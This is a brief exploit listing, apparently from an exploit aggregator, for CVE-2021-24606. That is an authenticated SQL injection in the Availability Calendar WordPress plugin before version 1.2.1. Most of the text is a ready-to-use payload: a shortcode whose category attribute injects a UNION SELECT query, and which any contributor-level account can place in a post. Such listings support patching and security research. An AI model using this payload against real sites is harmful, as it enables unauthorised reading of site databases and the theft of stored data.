Exploit for Availability Calendar < 1.2.1 - Authenticated SQL Injection CVE-2021-24606

## https://sploitus.com/exploit?id=WPEX-ID:FE49F48A-F97A-44FE-8D71-BE08E7CE4F83
With an account role as low as contributor, put the following in a page/post: [availabilitycalendar category="1) UNION select user(),user(),user(),user(),user(),user(),user() -- "]